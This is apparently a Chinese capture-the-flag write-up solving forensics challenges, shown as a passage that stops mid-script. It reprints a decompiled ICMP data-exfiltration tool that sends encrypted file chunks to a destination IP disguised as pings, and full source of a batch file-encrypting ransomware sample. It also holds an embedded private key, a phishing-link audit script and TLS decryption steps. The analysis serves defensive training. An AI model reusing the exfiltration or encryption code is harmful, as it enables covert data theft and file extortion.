print('You can now use a python decompiler on the pyc files within the extracted directory')
return
arch.close()
if __name__ == '__main__':
main()找到一个exfiltrator_balanced.pyc
反编译
import sys
import time
import struct
import random
import hashlib
import os
# 引入加密库 (需 pip install pycryptodome scapy)
from Crypto.Cipher import AES, ChaCha20_Poly1305
from Crypto.Protocol.KDF import PBKDF2
from scapy.all import IP, ICMP, send
# 硬编码盐值
SALT1 = b'Bloodharbor!2024'
SALT2 = b'Silent_Update!!!'
class ObfuscatedCrypto:
def __init__(self, master_seed):
self.master_seed = master_seed
self.key_layer1 = None
self.key_layer2 = None
self._derive_keys()
def _derive_keys(self):
"""
密钥派生函数
逻辑:使用 MasterSeed + Salt 混合,通过 PBKDF2 迭代 10000 次生成密钥
"""
# 基础密钥材料
base_material = self.master_seed + SALT1
# 派生 Layer 1 密钥 (用于 ChaCha20)
# 参数:Material, Salt, KeyLen, Iterations
self.key_layer1 = PBKDF2(base_material, SALT2 + b'\x01', dkLen=32, count=10000)
# 派生 Layer 2 密钥 (用于 AES-GCM)
# 注意:这里使用了 base_material + key1 作为下一轮的输入增强混淆
self.key_layer2 = PBKDF2(base_material + self.key_layer1, SALT2 + b'\x02', dkLen=32, count=10000)
def encrypt_chunk(self, data):
"""
双层加密实现
"""
# -------------------------------------------
# Layer 1: ChaCha20-Poly1305
# -------------------------------------------
# 添加 4 字节长度头 (Big-Endian)
header = struct.pack('>I', len(data))
payload = header + data
cipher1 = ChaCha20_Poly1305.new(key=self.key_layer1)
# 加密并生成认证标签 (Tag)
ciphertext1, tag1 = cipher1.encrypt_and_digest(payload)
# 拼接:Nonce(12) + Ciphertext + Tag(16)
layer1_result = cipher1.nonce + ciphertext1 + tag1
# -------------------------------------------
# Layer 2: AES-GCM
# -------------------------------------------
cipher2 = AES.new(self.key_layer2, AES.MODE_GCM)
ciphertext2, tag2 = cipher2.encrypt_and_digest(layer1_result)
# 拼接:Nonce(12) + Ciphertext + Tag(16)
layer2_result = cipher2.nonce + ciphertext2 + tag2
return layer2_result
class StealthICMP:
@staticmethod
def get_icmp_id_seq(index, total_count):
"""
生成伪随机的 ICMP ID 和 Sequence Number
用于隐藏数据块索引,使流量看起来像普通的 Ping 请求
"""
val = (index * 2654435769 + 305419896) & 0xFFFFFFFF
icmp_id = (val >> 16) & 0xFFFF
icmp_seq = val & 0xFFFF
return icmp_id, icmp_seq
@staticmethod
def send_chunk(dst_ip, chunk_data, chunk_index, total):
icmp_id, icmp_seq = StealthICMP.get_icmp_id_seq(chunk_index, total)
# 构造 ICMP 包
# 随机填充前缀 (模拟 Windows Ping 默认 Payload: abcdefg...)
# 题目中发现有 16 字节的填充
padding = b'abcdefghijklmnop'
pkt = IP(dst=dst_ip) / ICMP(type=8, id=icmp_id, seq=icmp_seq) / (padding + chunk_data)
send(pkt, verbose=0)
class Exfiltrator:
def __init__(self, filepath, dst_ip):
self.filepath = filepath
self.dst_ip = dst_ip
# 生成随机种子
self.crypto_seed = os.urandom(16)
# 用时间生成 Scramble Seed (用于打乱顺序)
self.scramble_seed = int(time.time() * 1000) & 0xFFFFFFFF
self.crypto = ObfuscatedCrypto(self.crypto_seed)
def run(self):
# 1. 读取文件
with open(self.filepath, 'rb') as f:
file_data = f.read()
# 计算 Checksum
file_hash = hashlib.md5(file_data).digest()
# 2. 分块
CHUNK_SIZE = 224 # 适应 ICMP Payload 大小
chunks = [file_data[i:i+CHUNK_SIZE] for i in range(0, len(file_data), CHUNK_SIZE)]
total_chunks = len(chunks)
# 3. 加密所有块
encrypted_chunks = []
for chunk in chunks:
enc = self.crypto.encrypt_chunk(chunk)
encrypted_chunks.append(enc)
# 4. 构建元数据块 (Metadata)
# 格式: EX1L (4) + Timestamp (4) + ScrambleSeed (4) + CryptoSeed (16) + Hash (16)
ts = int(time.time())
meta = b'EX1L' + \
struct.pack('>I', ts) + \
struct.pack('>I', self.scramble_seed) + \
self.crypto_seed + \
file_hash
# 将元数据块作为第 0 块
# 但在流量中,它通常混在中间,我们这里把它加入列表待处理
# 题目中看到的逻辑是元数据单独发或作为特殊块
# 这里假设它只是发出去,不作为文件内容索引的一部分,或者它有一个特殊的 ID/Seq
pass
# (注:实际攻击脚本发了一个包含 EX1L 的包)
# 5. 为了混淆,先打乱发送顺序
indices = list(range(total_chunks))
rng = random.Random(self.scramble_seed)
rng.shuffle(indices)
# 6. 发送数据
print(f"Starting exfiltration of {total_chunks} chunks to {self.dst_ip}...")
# 发送元数据 (简单实现,实际可能更复杂)
# StealthICMP.send_chunk(self.dst_ip, meta, 0, 0) # 假设 ID 计算不同
# 发送内容
for new_pos, original_idx in enumerate(indices):
# new_pos + 1 作为发送时的计数器
# original_idx 用于取原始数据
data = encrypted_chunks[original_idx]
# 计算 ID/Seq 时使用 1-based index (new_pos + 1)
StealthICMP.send_chunk(self.dst_ip, data, new_pos + 1, total_chunks)
# 随机延时防检测
time.sleep(random.uniform(0.01, 0.05))
if __name__ == "__main__":
# 模拟运行
print("Exfiltrator Loaded.")
# exfil = Exfiltrator("secret.zip", "192.168.1.100")
# exfil.run()该程序是一个基于 ICMP 协议的隐蔽数据外带工具,通过将文件切分为 224 字节的数据块并伪装成 Windows Ping 流量发送。其核心安全机
制包含三个部分:
程序运行时会生成一个随机的 16 字节 CryptoSeed 和一个基于时间的 ScrambleSeed(用于乱序)。利用 PBKDF2-HMAC-SHA256 算
法,结合 CryptoSeed 和两组被混淆和硬编码的盐值(b'Bloodharbor!2024' 和 b'Silent_Update!!!'),迭代 10,000 次分别派生出两
层加密所需的 32 字节密钥。
每个数据块首先添加 4 字节大端序长度头,然后使用 ChaCha20-Poly1305 进行内层加密(Layer 1),输出包含 Nonce、密文和 Tag。接着
对 Layer 1 的完整结果使用 AES-256-GCM 进行外层加密(Layer 2),同样输出 Nonce、密文和 Tag,确保了数据的机密性与完整性。
程序首先发送包含种子的元数据块(以 EX1L 开头)。为了对抗流量分析,它利用 ScrambleSeed 初始化随机数生成器,对所有数据块的发
送顺序进行全随机打乱(Shuffle)。发送时,每个 ICMP 包的 Payload 前部填充 16 字节的伪造 Windows Ping 数据,并使用复杂的线性同
余算法生成伪随机的 ICMP ID 和序列号,使得流量在外观和统计特征上极难被识别。

打开流量包,发现流量包含有大量 ICMP 请求,其中部包含 EX1L 标志的 Payload,确认为数据外带。提取 EX1L 元数据块,获取 Crypto
Seed 和 Scramble Seed。加密机制为双层加密:首先是 ChaCha20-Poly1305 (Layer 1,带 4 字节长度头),其次是 AES-GCM (Layer 2)。密
钥由 PBKDF2 基于 Crypto Seed 和硬编码盐值生成。数据块顺序经过混淆,需利用 Scramble Seed 初始化随机数生成器并还原顺序。编写脚
本提取 ICMP Payload,还原顺序并依次解密 Layer 2 和 Layer 1,拼接后得到一个 ZIP 文件。
import struct
import random
import sys
import os
from Crypto.Cipher import AES, ChaCha20_Poly1305
from Crypto.Protocol.KDF import PBKDF2
from scapy.all import rdpcap, ICMP
# 这部分类用于模拟原程序的密钥派生和解密准备
class CryptoRecoverer:
def __init__(self, master_seed):
self.master_seed = master_seed
self._k1 = b'Bloodharbor!2024'
self._k2 = b'Silent_Update!!!'
self._init_keys()
def _init_keys(self):
base_material = self.master_seed + self._k1
# 根据分析还原 PBKDF2 参数
self.key_layer1 = PBKDF2(base_material, self._k2 + b'\x01', dkLen=32, count=10000)
self.key_layer2 = PBKDF2(base_material + self.key_layer1, self._k2 + b'\x02', dkLen=32, count=10000)
def calc_icmp_fields(idx):
val = (idx * 2654435769 + 305419896) & 0xFFFFFFFF
return (val >> 16) & 0xFFFF, val & 0xFFFF
def solve_pcap(pcap_file):
print(f"[*] Loading {pcap_file} ...")
raw_chunks = {}
# 读取 Pcap
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
# 提取 Payload,通常去除前 16 字节填充
payload_data = bytes(pkt[ICMP].payload)
if len(payload_data) > 16:
payload = payload_data[16:]
raw_chunks[(pkt[ICMP].id, pkt[ICMP].seq)] = payload
# 1. 寻找元数据块
metadata = None
for (pid, pseq), data in raw_chunks.items():
if data.startswith(b'EX1L'):
metadata = data
print(f"[+] Found Metadata! ID: {pid}, Seq: {pseq}")
break
if not metadata:
print("[-] Error: Metadata not found.")
return
crypto_seed = metadata[4:20]
scramble_seed = int.from_bytes(metadata[20:24], 'big')
print(f"[*] Crypto Seed: {crypto_seed.hex()}")
print(f"[*] Scramble Seed: {hex(scramble_seed)}")
# 2. 根据算法提取并索引所有加密块
data_chunks_indexed = {}
idx = 1
while True:
target_id, target_seq = calc_icmp_fields(idx)
if (target_id, target_seq) in raw_chunks:
data_chunks_indexed[idx] = raw_chunks[(target_id, target_seq)]
idx += 1
else:
break
num_data_chunks = len(data_chunks_indexed)
print(f"[+] Extracted {num_data_chunks} chunks.")
# 3. 还原混淆顺序
rng = random.Random(scramble_seed)
indices = list(range(num_data_chunks))
rng.shuffle(indices)
reordered_chunks = [None] * num_data_chunks
for new_pos, orig_idx in enumerate(indices):
if (new_pos + 1) in data_chunks_indexed:
reordered_chunks[orig_idx] = data_chunks_indexed[new_pos + 1]
reordered_chunks = [c for c in reordered_chunks if c is not None]
full_blob = b''.join(reordered_chunks)
# 4. 解密
recoverer = CryptoRecoverer(crypto_seed)
print("[*] Decrypting Layer 2 (AES-GCM)...")
if len(full_blob) < 32: return
nonce2 = full_blob[:16]
tag2 = full_blob[16:32]
ct2 = full_blob[32:]
layer1_result = None
# 尝试去除填充
for i in range(225):
test_ct2 = ct2 if i == 0 else ct2[:-i]
try:
cipher2 = AES.new(recoverer.key_layer2, AES.MODE_GCM, nonce=nonce2)
layer1_result = cipher2.decrypt_and_verify(test_ct2, tag2)
print(f"[+] Layer 2 Success! (Padding: {i})")
break
except ValueError:
continue
if not layer1_result:
print("[-] Layer 2 Failed.")
return
print("[*] Decrypting Layer 1 (ChaCha20)...")
nonce1 = layer1_result[:12]
tag1 = layer1_result[12:28]
ct1 = layer1_result[28:]
final_data = None
for j in range(225):
test_ct1 = ct1 if j == 0 else ct1[:-j]
try:
cipher1 = ChaCha20_Poly1305.new(key=recoverer.key_layer1, nonce=nonce1)
decrypted = cipher1.decrypt_and_verify(test_ct1, tag1)
orig_len = int.from_bytes(decrypted[:4], 'big')
final_data = decrypted[4:4+orig_len]
print(f"[+] Layer 1 Success! Size: {orig_len}")
break
except ValueError:
continue
if final_data:
output_name = "flag_recovered.zip"
with open(output_name, "wb") as f:
f.write(final_data)
print(f"[++] Saved to {output_name}")
else:
print("[-] Layer 1 Failed.")
if __name__ == "__main__":
pcap = "challenge.pcap" # 请确保 pcap 文件在此路径
if len(sys.argv) > 1:
pcap = sys.argv[1]
solve_pcap(pcap)解压得到100张图片

写一个脚本OCR识别18316978925
import os
import pytesseract
TESSERACT_CMD = r"C:\Program Files\Tesseract-OCR\tesseract.exe"
TARGET_FOLDER = "flag_recovered"
TARGET_TEXT = "18316978925"
def scan():
if os.path.exists(TESSERACT_CMD):
pytesseract.pytesseract.tesseract_cmd = TESSERACT_CMD
if not os.path.exists(TARGET_FOLDER):
return print(f"Error: 目录 {TARGET_FOLDER} 不存在")
print(f"[*] 正在扫描 {TARGET_FOLDER}...")
for f in [x for x in os.listdir(TARGET_FOLDER) if x.endswith('.png')]:
try:
text = pytesseract.image_to_string(os.path.join(TARGET_FOLDER, f), lang='eng')
if TARGET_TEXT in text.replace(" ", ""):
print(f"[+] 找到目标: {f}")
return
except: continue
print("[-] 未找到。")
if __name__ == "__main__":
scan()[+] 找到目标: person_086.png

答案:江苏省南京市鼓楼区西湖路200号梧桐里15栋4单元101室
数据分析
背景描述
随着维真科技(VerityTech)业务规模的不断扩张,公司积累了大量内部 PDF 文档,包括重要的研发资料、业务报告、内部制度说明等。在长期
的运作过程中,由于文档管理规范不完善、缺乏统一的安全策略,公司文档的安全风险逐渐显现。
近期,公司文档服务器遭遇未知勒索程序攻击。部分 PDF 文件被加密无法打开,系统中还出现可疑链接的文档,疑似为攻击入口。同时,安
全团队在受感染终端中提取到了一份可疑的可执行程序(exe 文件),推测为勒索程序主体。
为了定位安全漏洞、恢复文档数据、查明攻击来源,公司启动了"文档安全事件分析"专项工作。本题给出攻击样本、加密文档及疑似钓鱼
PDF 文档,请你协助安全团队进行取证分析、密钥恢复、数据解密以及钓鱼链接识别。
相关信息
公司合法域名为:
veritytech.com
*.veritytech.com(所有子域名)其余域名均视为可疑链接,需重点审查。
第一题
安全团队提取到疑似勒索程序(exe 文件),该程序采用"混合加密机制"对 PDF 文档进行加密:
使用 RSA 公钥加密 AES 密钥(用于安全存储/传输 AES 密钥)
使用原始的 AES 密钥(明文)直接加密 PDF 文档
若要恢复文档,必须从勒索程序中获取攻击者遗留的 RSA 私钥。
任务:分析勒索程序,找到私钥,并将私钥中 -----BEGIN PRIVATE KEY----- 之后的 32位字符 作为答案提交。通过file命令识别en.exe为Windows PE可执行文件,使用strings发现Python相关字符串,判断为PyInstaller打包程序。使用pyinstxtractor.py
解包后,在en.exe_extracted/key/目录下发现RSA密钥对文件pr.pem和public_key.pem。读取pr.pem文件内容,定位-----BEGIN PRIVATE
KEY-----标记位置,提取其后的32位字符即为答案。
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCt4TrETrlzU4NV
083rqT3XUun3NnxgPVVioX8tJZUH9rjs0bdTPTMk877seCIsJ98yj2VAhmGbviZ7
Mv+j+XnYCavDwew/oXnB9mWsvb1wRUzVhwsAfKz6gneGDthD6vRA+je4KBM+HFWH
Qlm08S5fs0shat3bld64CfCnM2Us+HS53Mwr4mEjqtCjA4WNnvpIVv2gDs7lNddJ
N4yBT5FkIp1wqoKqvQsI8ivTthg+2cwlDh7bW5RupZmgC2dTupzKZQlYCNTOupeR
DC63Z9A3bwPsRcCaA2AVjAHz/iEHKtYsh2z264No/vgAuQ67c70QNe0i0hlIr0V9
wUZTM5/zAgMBAAECggEABXkAZZuJG7efrrMqMoYfoHTUHbtILxFCUqBJnyA+yg+t
lb3Ebg+P86EWVV2ZZor7Hx2QFSrr/7/8eKxlizT303rICxlbhOWUriwOp2EYPGRG
yeh+Fw3vHDomzLN2T0dVJVLN/FmKjYEy/r0lLKkNcBncPf+EK+Ke+wTl3z7vXfrT
0y2tpDnwRk6obQE8jxOfoA2DguqfNSwR1hEEaOMnXQk0D6oqSb/VmdNtDbVi8lG7
q8nh7JBah63cPpMeA82HdDg5GGZ3vQok3SEiJ4HePAzM6Htqebq0LkZDVAwd8QDQ
En5GD1jO3KSsXUBZPtzfJ2yACNwblP5lWK2E43OzjQKBgQDhVoDRYxr8L1PY32SO
HVqflCJiTwNY0xbcRzontEBuvXO4KClwD5n6OP/1MgD7rf7fyAj0F506OlIEDusw
o21cPxkKqXwJPv0ZUGN54w+P61llwa1YQe2au5+Q987r6cnxPOCoQYpracUwUbyR
UMmtztDIr2sBJqkGkHyNagwh3wKBgQDFijes2waA9dAFEsH1GojZlWvtNmT3O2Cx
/WdPvTcEiyKUAhGnP/BS1+LDrW5Jvak+XA7SOCkmKU6K4HLiUReXuYr0HgRbbYzh
ElRTmOfztQoLLHQ4/aY1Odkt4/C1HlPQ9Cz8YZ84wWPgfWpdOKiX0DaU75fwPnkU
PI29a2VMbQKBgHp70aN/EkD33MSqkPbqn8LT+2iieDhE7U0o7kR8pvVKx2bXdcay
xEiNyRtXZc9oAX1UNwGvAEiRQNlx3odeneghaBQykfhYo6yp1JiBQolBLSOxhe7O
Tz/nMlHTUUdMmfcl1xu+HGZMZOHh2/TFDAsMutIK/8ftYrzttrYLabLTAoGBAKE2
jPtwAJ3Mfsk1Jr+OuTLBpEQCiWHPvrlj8iV8aWM23bBnA9s37jzd3T4O0xwxQecX
oCzmEocHXQcv5/JVdeioTwOtX6bx//BLUjCrcFlPXXQDApLkRvnXTSwLg418w7Cb
Jf+O+C+MfKNgFycfL1A+Z90isCAsDAp85Lw64n/9AoGBAM6FMjN7Vg72JhEinJzA
RiPe3XADQtOYeD9ib7aMqeK/0D+L4gKdUZutGCjNVsRhYLJKVucYamhXpzdyDcH+
96REAxwI0jX+XlG0gLW2wKyxdwisUAD8ZtFneE+xMN9TUObZTYWePetEHtuYYMzo
4pfb5dCQ7nt8QDboULmzNtdL
-----END PRIVATE KEY-----答案:MIIEvgIBADANBgkqhkiG9w0BAQEFAASC
第二题
在成功获得攻击者的 RSA 私钥后,可解密 AES 密钥,并进一步解密被勒索的 PDF 文件。
任务:使用正确的私钥恢复文件内容,计算 0999_内部文档0999.pdf 解密后文件的 MD5 值,并提交其 32位小写 MD5 作为答案。反编译
import os
import sys
from pathlib import Path
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding, hashes
from cryptography.hazmat.primitives.asymmetric import padding as asym_padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import secrets
def resource_path(relative_path):
try:
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(os.path.dirname(__file__))
return os.path.join(base_path, relative_path)
def find_key_file(filename):
resource_key_path = resource_path(os.path.join("key", filename))
if os.path.exists(resource_key_path):
return resource_key_path
local_key_path = filename
if os.path.exists(local_key_path):
return local_key_path
return None
def load_rsa_public_key(public_key_file='public_key.pem'):
key_path = find_key_file(public_key_file)
if key_path is None:
raise FileNotFoundError(f"找不到公钥文件: {public_key_file}")
with open(key_path, 'rb') as f:
public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())
return public_key
def generate_aes_key():
return secrets.token_bytes(32)
def encrypt_aes_key_with_rsa(aes_key, public_key, output_file='store.key'):
encrypted_key = public_key.encrypt(
aes_key,
asym_padding.OAEP(
mgf=asym_padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
with open(output_file, 'wb') as f:
f.write(encrypted_key)
print(f"AES密钥已使用RSA公钥加密并保存到: {output_file}")
def encrypt_file_aes_ecb(file_path, aes_key, output_path=None):
with open(file_path, 'rb') as f:
plaintext = f.read()
padder = padding.PKCS7(128).padder()
padded_data = padder.update(plaintext)
padded_data += padder.finalize()
cipher = Cipher(
algorithms.AES(aes_key),
modes.ECB(),
backend=default_backend()
)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
if output_path is None:
output_path = str(file_path) + '.enc'
with open(output_path, 'wb') as f:
f.write(ciphertext)
return output_path
def batch_encrypt_files(directory, public_key_file='public_key.pem', key_output_file='store.key', extensions=None):
if not os.path.isdir(directory):
raise ValueError(f"目录不存在: {directory}")
print(f"正在加载RSA公钥: {public_key_file}")
public_key = load_rsa_public_key(public_key_file)
print("正在生成AES-256密钥...")
aes_key = generate_aes_key()
encrypt_aes_key_with_rsa(aes_key, public_key, key_output_file)
directory_path = Path(directory)
if extensions:
files = []
for ext in extensions:
files.extend(directory_path.glob(f"**/*{ext}"))
else:
files = [f for f in directory_path.rglob("*") if f.is_file() and not f.name.endswith('.enc') and f.name != key_output_file]
if not files:
print("未找到需要加密的文件")
return
print(f"\n找到 {len(files)} 个文件需要加密")
print("-" * 50)
encrypted_count = 0
for file_path in files:
try:
output_path = encrypt_file_aes_ecb(file_path, aes_key)
print(f"✓ 已加密: {file_path} -> {output_path}")
encrypted_count += 1
except Exception as e:
print(f"✗ 加密失败: {file_path} - {str(e)}")
print("-" * 50)
print(f"加密完成!共加密 {encrypted_count} 个文件")
print(f"AES密钥已保存到: {key_output_file}")
if __name__ == '__main__':
print("=" * 50)
print("批量文件加密程序 (AES-256-ECB)")
print("=" * 50)
if len(sys.argv) < 2:
print("\n使用方法:")
print(f" python {sys.argv[0]} <目录路径> [公钥文件] [密钥输出文件]")
print("\n示例:")
print(f" {sys.argv[0]} ./data")
print(f" {sys.argv[0]} ./data public_key.pem store.key")
sys.exit(1)
directory = sys.argv[1]
public_key_file = sys.argv[2] if len(sys.argv) > 2 else 'public_key.pem'
key_output_file = sys.argv[3] if len(sys.argv) > 3 else 'store.key'
try:
batch_encrypt_files(directory, public_key_file, key_output_file)
except Exception as e:
print(f"\n错误: {str(e)}")
sys.exit(1)分析解包后的pyc文件,发现加密流程采用混合加密机制:使用RSA-OAEP(SHA256)加密AES密钥并保存到store.key,使用AES-256-ECB模
式对PDF文件进行加密。解密流程为:首先使用提取的RSA私钥pr.pem通过PKCS1_OAEP(SHA256)解密store.key获取AES密钥,然后使用
AES-ECB模式解密PDF文件并去除PKCS7填充,最后计算解密后文件的MD5值。
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Hash import SHA256
from Crypto.Util.Padding import unpad
import hashlib
with open('en.exe_extracted/key/pr.pem', 'rb') as f:
private_key = RSA.import_key(f.read())
with open('enpdf/store.key', 'rb') as f:
encrypted_aes_key = f.read()
cipher_rsa = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)
with open('enpdf/pdfs/0999_内部文档0999.pdf.enc', 'rb') as f:
encrypted_data = f.read()
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
decrypted_data = unpad(cipher_aes.decrypt(encrypted_data), AES.block_size)
print(hashlib.md5(decrypted_data).hexdigest())答案:52fd2cb4fc43eceb3c79233038bb5f42
第三题
在事件调查中,安全团队统计出共计 999 份 PDF 文档,其中部分文档包含内部外链。为避免安全风险,需对所有文档进行链接检查。
PDF 中的 URL 可能以以下形式出现:
文本中直接显示的 URL
隐藏在 PDF Annotation 超链接内的 URL(显示内容与真实跳转地址可能不同)
URL 参数中的跳转地址:某些 URL 可能包含 redirect、next、url 等参数,参数值指向实际跳转的目标地址(即使 URL 本身的主域名为合法域名,参数中的跳转地址也需要单独检查)
任务:
分析 999 份 PDF,找出所有指向非 veritytech.com 域名的 URL(包括文本显示、Annotation 跳转 URI 以及 URL 参数中的跳转地址)
提取其完整 URL
按字典序升序排序后,用英文半角逗号拼接
最终对拼接字符串计算 32位小写 MD5 作为答案
注意事项:
对于包含跳转参数的 URL(如 https://mail.veritytech.com/auth?next=https://evil.com),如果 URL 本身的主域名为合法域名,则不应提取该完整 URL;但需要提取参数中的跳转地址(如 https://evil.com)进行判断
提取时需判断每个 URL 的主域名,只提取主域名为非 veritytech.com 及其子域名的 URL
答案标准示例
若识别出的钓鱼链接为如下 3 条(字典序升序):
https://compaпy.com/login
https://veritytech.com.io/auth
https://verify-veritytech.xyz/update
则拼接为:
https://compaпy.com/login,https://veritytech.com.io/auth,https://verify-veritytech.xyz/update
对该字符串计算 MD5 即为最终提交值,例如:7c57e0774ddf8f4b8539b255a8f6f506
示例说明:
如果 PDF 中存在 URL https://mail.veritytech.com/auth?next=https://evil.com/login,由于完整 URL 的主域名为 mail.veritytech.com(合法),不应提取该完整 URL;但需要提取参数中的 https://evil.com/login 进行判断,若其主域名为非 veritytech.com 域名,则应提取该 URL
如果 PDF 文本中直接显示 https://evil.com/login,则直接提取该 URL
如果 PDF Annotation 中隐藏的跳转地址为 https://evil.com/login,则提取该 URL使用PyMuPDF遍历999份解密后的PDF,提取PDF Annotation超链接中的URI。合法域名为veritytech.com及其子域名*.veritytech.com,排
除.local和.internal等内部域名后,筛选出所有指向外部非法域名的钓鱼URL。同时检查URL参数中的跳转地址(redirect/next/url等参数)。
过滤掉包含非ASCII字符的无效URL,将所有钓鱼URL按字典序升序排序后用逗号拼接,计算MD5值。
import hashlib
import glob
import fitz
import re
from urllib.parse import urlparse, parse_qs, unquote
def is_valid_domain(domain):
if not domain:
return True
domain = domain.lower()
return domain == 'veritytech.com' or domain.endswith('.veritytech.com')
def is_internal_domain(domain):
if not domain:
return True
domain = domain.lower()
return domain.endswith('.local') or domain.endswith('.internal') or '.' not in domain
def extract_domain(url):
try:
netloc = urlparse(url).netloc
if ':' in netloc:
netloc = netloc.split(':')[0]
return netloc.lower()
except:
return ''
def is_valid_url(url):
if not url or not url.startswith('http'):
return False
domain = extract_domain(url)
if not domain or '.' not in domain:
return False
if any(ord(c) > 127 for c in url):
return False
return True
def clean_url(url):
url = url.strip()
url = re.sub(r'[)),。;\s].*$', '', url)
return url.rstrip('.,;:!?))>]')
def extract_redirect_urls(url):
redirect_urls = []
try:
parsed = urlparse(url)
query_params = parse_qs(parsed.query)
redirect_keys = ['redirect', 'next', 'url', 'return', 'returnurl', 'return_url', 'goto', 'target', 'link', 'dest', 'destination', 'redir', 'redirect_uri', 'redirect_url']
for key in query_params:
if key.lower() in redirect_keys:
for val in query_params[key]:
decoded_val = unquote(val)
if decoded_val.startswith('http://') or decoded_val.startswith('https://'):
redirect_urls.append(decoded_val)
except:
pass
return redirect_urls
phishing_urls = set()
for pdf_path in glob.glob('decrypted_pdfs/*.pdf'):
try:
doc = fitz.open(pdf_path)
for page in doc:
for link in page.get_links():
if 'uri' in link:
uri = clean_url(link['uri'])
if is_valid_url(uri):
domain = extract_domain(uri)
if domain and not is_valid_domain(domain) and not is_internal_domain(domain):
phishing_urls.add(uri)
for redir_url in extract_redirect_urls(uri):
redir_url = clean_url(redir_url)
if is_valid_url(redir_url):
redir_domain = extract_domain(redir_url)
if redir_domain and not is_valid_domain(redir_domain) and not is_internal_domain(redir_domain):
phishing_urls.add(redir_url)
doc.close()
except:
pass
sorted_urls = sorted(phishing_urls)
print(f"找到 {len(sorted_urls)} 个钓鱼链接:")
for url in sorted_urls:
print(f" {url}")
result_string = ','.join(sorted_urls)
print(f"\n拼接字符串:\n{result_string}")
print(f"\nMD5: {hashlib.md5(result_string.encode()).hexdigest()}")答案:0a16f1ca5e8db1270074d0d39f6edeaf
数据审计
背景描述
某公司运维团队在日常安全巡检过程中发现系统存在异常访问和潜在入侵迹象。经初步技术研判,问题可能与公司用于关键服务器相关。该
服务器被确认存在一定安全风险,但目前尚无法确定攻击者是否已成功获取其中的证书信息。
为进一步排查与分析潜在的数据泄漏情况,运维团队已导出该服务器的所有网络流量文件,请根据流量包文件分析并回答以下问题。
第一题
请根据题目提供的证书关键参数,合成私钥解密证书。请选手找到 id 为 285 的参数合成的证书(参考附件:params.csv),可以解密哪个流量包(参考附件:pcap.zip)。并将其流量包名称作为答案提交。
答案标准: 若 id 为 285 的参数合成证书,可以解密 "UT5NHVWo2Z.pcap",则答案提交为 UT5NHVWo2Z.pcap题目提供了params.csv文件,包含500组RSA参数(id, e, p, q)。需要根据id=285的参数合成RSA私钥,然后遍历所有pcap文件,提取TLS证
书中的公钥模数n,与id=285计算得到的n(n = p * q)进行匹配,找到对应的流量包。具体步骤:首先读取params.csv获取id=285的e、p、
q参数,计算n = p * q;然后遍历pcap文件,解析其中的X.509证书,提取RSA公钥的模数n;最后比对两个n值,相等则说明该pcap使用了
id=285对应的证书。
import csv, struct
from pathlib import Path
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
def read_params(csv_path):
id_to_params = {}
with open(csv_path, 'r') as f:
for row in csv.DictReader(f):
e, p, q, id_val = int(row['e']), int(row['p']), int(row['q']), int(row['id'])
n = p * q
id_to_params[id_val] = {'id': id_val, 'e': e, 'p': p, 'q': q, 'n': n}
return id_to_params
def find_cert_n(pcap_path):
with open(pcap_path, 'rb') as f:
data = f.read()
i = 0
while i < len(data) - 4:
if data[i:i+2] == b'\x30\x82':
length = struct.unpack('>H', data[i+2:i+4])[0]
if 100 < length < 5000:
try:
cert = x509.load_der_x509_certificate(data[i:i+4+length], default_backend())
pk = cert.public_key()
if isinstance(pk, rsa.RSAPublicKey):
return pk.public_numbers().n
except:
pass
i += 1
return None
id_to_params = read_params('params.csv')
pcap_dir = Path('pcap/pcap')
n_285 = id_to_params[285]['n']
for pcap in pcap_dir.glob('*.pcap'):
if find_cert_n(pcap) == n_285:
print(f"答案: {pcap.name}")
break答案:mAqY0WRHsV.pcap
第二题
请根据上面题目对每个流量包进行解密,并得到明文。请选手找到"王梅"的手机号,并进行答案提交。
答案标准: 若找到"王梅"的手机号为 15306364252,则答案提交为 15306364252需要使用params.csv中的RSA参数生成私钥,然后用私钥解密TLS加密的流量包,获取HTTP明文数据。具体步骤:首先根据e、p、q计算私
钥参数d = e^(-1) mod (p-1)(q-1),生成PEM格式私钥文件;然后遍历每个pcap文件,提取证书中的公钥模数n,匹配对应的私钥;使用
tshark配合私钥解密TLS流量,提取HTTP请求体;解密后的数据为POST请求到/api/v1/user/profile,请求体为hex编码的JSON,包含
username和phone字段;遍历所有解密结果,查找username为"王梅"的记录,获取其phone字段。
import os, csv, json, struct, subprocess
from pathlib import Path
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
TSHARK = r"D:\Wireshark\tshark.exe"
def read_params(csv_path):
params, id_to_params = {}, {}
with open(csv_path, 'r') as f:
for row in csv.DictReader(f):
e, p, q, id_val = int(row['e']), int(row['p']), int(row['q']), int(row['id'])
n = p * q
param = {'id': id_val, 'e': e, 'p': p, 'q': q, 'n': n}
params[n], id_to_params[id_val] = param, param
return params, id_to_params
def gen_private_key(e, p, q):
n, d = p * q, pow(e, -1, (p-1)*(q-1))
pub = rsa.RSAPublicNumbers(e, n)
priv = rsa.RSAPrivateNumbers(p, q, d, d%(p-1), d%(q-1), pow(q,-1,p), pub)
return priv.private_key(default_backend())
def save_key(key, path):
with open(path, 'wb') as f:
f.write(key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
def find_cert_n(pcap_path):
with open(pcap_path, 'rb') as f:
data = f.read()
i = 0
while i < len(data) - 4:
if data[i:i+2] == b'\x30\x82':
length = struct.unpack('>H', data[i+2:i+4])[0]
if 100 < length < 5000:
try:
